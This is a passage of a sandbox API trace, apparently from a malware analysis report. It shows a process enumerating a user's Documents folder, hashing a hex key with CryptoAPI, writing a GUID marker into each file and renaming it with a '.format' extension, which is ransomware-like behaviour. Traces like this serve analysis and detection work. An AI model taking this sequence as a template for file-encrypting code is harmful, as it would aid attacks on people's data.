lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.828] CloseHandle (hObject=0x5c8) returned 1 [0068.829] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\6 XGwY-lUt_VoBNPc3ul.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\2qaszgvp1ayqj\\6 xgwy-lut_vobnpc3ul.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\6 XGwY-lUt_VoBNPc3ul.csv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\2qaszgvp1ayqj\\6 xgwy-lut_vobnpc3ul.csv.format")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a246200, ftCreationTime.dwHighDateTime=0x1d4c799, ftLastAccessTime.dwLowDateTime=0x5d212a30, ftLastAccessTime.dwHighDateTime=0x1d4d1d9, ftLastWriteTime.dwLowDateTime=0x5d212a30, ftLastWriteTime.dwHighDateTime=0x1d4d1d9, nFileSizeHigh=0x0, nFileSizeLow=0x633b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mWTdUCHrEprNZbw4.ppt", cAlternateFileName="MWTDUC~1.PPT")) returned 1 [0068.830] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\mWTdUCHrEprNZbw4.ppt") returned=".ppt" [0068.830] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\mWTdUCHrEprNZbw4.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\2qaszgvp1ayqj\\mwtduchreprnzbw4.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.831] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=25403) returned 1 [0068.831] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.833] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x6315, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.833] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.834] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.834] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x633b, lpOverlapped=0x0) returned 1 [0068.834] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.834] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.834] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.834] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.835] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.835] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.835] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.835] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.835] GetLastError () returned 0x0 [0068.835] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.835] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.836] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x633b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.836] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.836] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.836] CloseHandle (hObject=0x5c8) returned 1 [0068.837] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\mWTdUCHrEprNZbw4.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\2qaszgvp1ayqj\\mwtduchreprnzbw4.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\mWTdUCHrEprNZbw4.ppt.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\2qaszgvp1ayqj\\mwtduchreprnzbw4.ppt.format")) returned 1 [0068.838] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58fcb40, ftCreationTime.dwHighDateTime=0x1d4cd50, ftLastAccessTime.dwLowDateTime=0x57bd39f0, ftLastAccessTime.dwHighDateTime=0x1d4d38f, ftLastWriteTime.dwLowDateTime=0x57bd39f0, ftLastWriteTime.dwHighDateTime=0x1d4d38f, nFileSizeHigh=0x0, nFileSizeLow=0x9bef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vJNcNYrw.ods", cAlternateFileName="")) returned 1 [0068.838] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\vJNcNYrw.ods") returned=".ods" [0068.838] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\vJNcNYrw.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\2qaszgvp1ayqj\\vjncnyrw.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.838] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=39919) returned 1 [0068.838] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.841] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x9bc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.841] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.842] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x9bef, lpOverlapped=0x0) returned 1 [0068.842] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.842] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.842] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.842] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.843] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.843] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.843] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.843] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.843] GetLastError () returned 0x0 [0068.843] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.843] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.843] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x9bef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.843] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.844] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.844] CloseHandle (hObject=0x5c8) returned 1 [0068.845] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\vJNcNYrw.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\2qaszgvp1ayqj\\vjncnyrw.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\vJNcNYrw.ods.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\2qaszgvp1ayqj\\vjncnyrw.ods.format")) returned 1 [0068.846] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58fcb40, ftCreationTime.dwHighDateTime=0x1d4cd50, ftLastAccessTime.dwLowDateTime=0x57bd39f0, ftLastAccessTime.dwHighDateTime=0x1d4d38f, ftLastWriteTime.dwLowDateTime=0x57bd39f0, ftLastWriteTime.dwHighDateTime=0x1d4d38f, nFileSizeHigh=0x0, nFileSizeLow=0x9bef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vJNcNYrw.ods", cAlternateFileName="")) returned 0 [0068.846] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eda08 | out: hHeap=0x5d0000) returned 1 [0068.846] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.846] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.850] 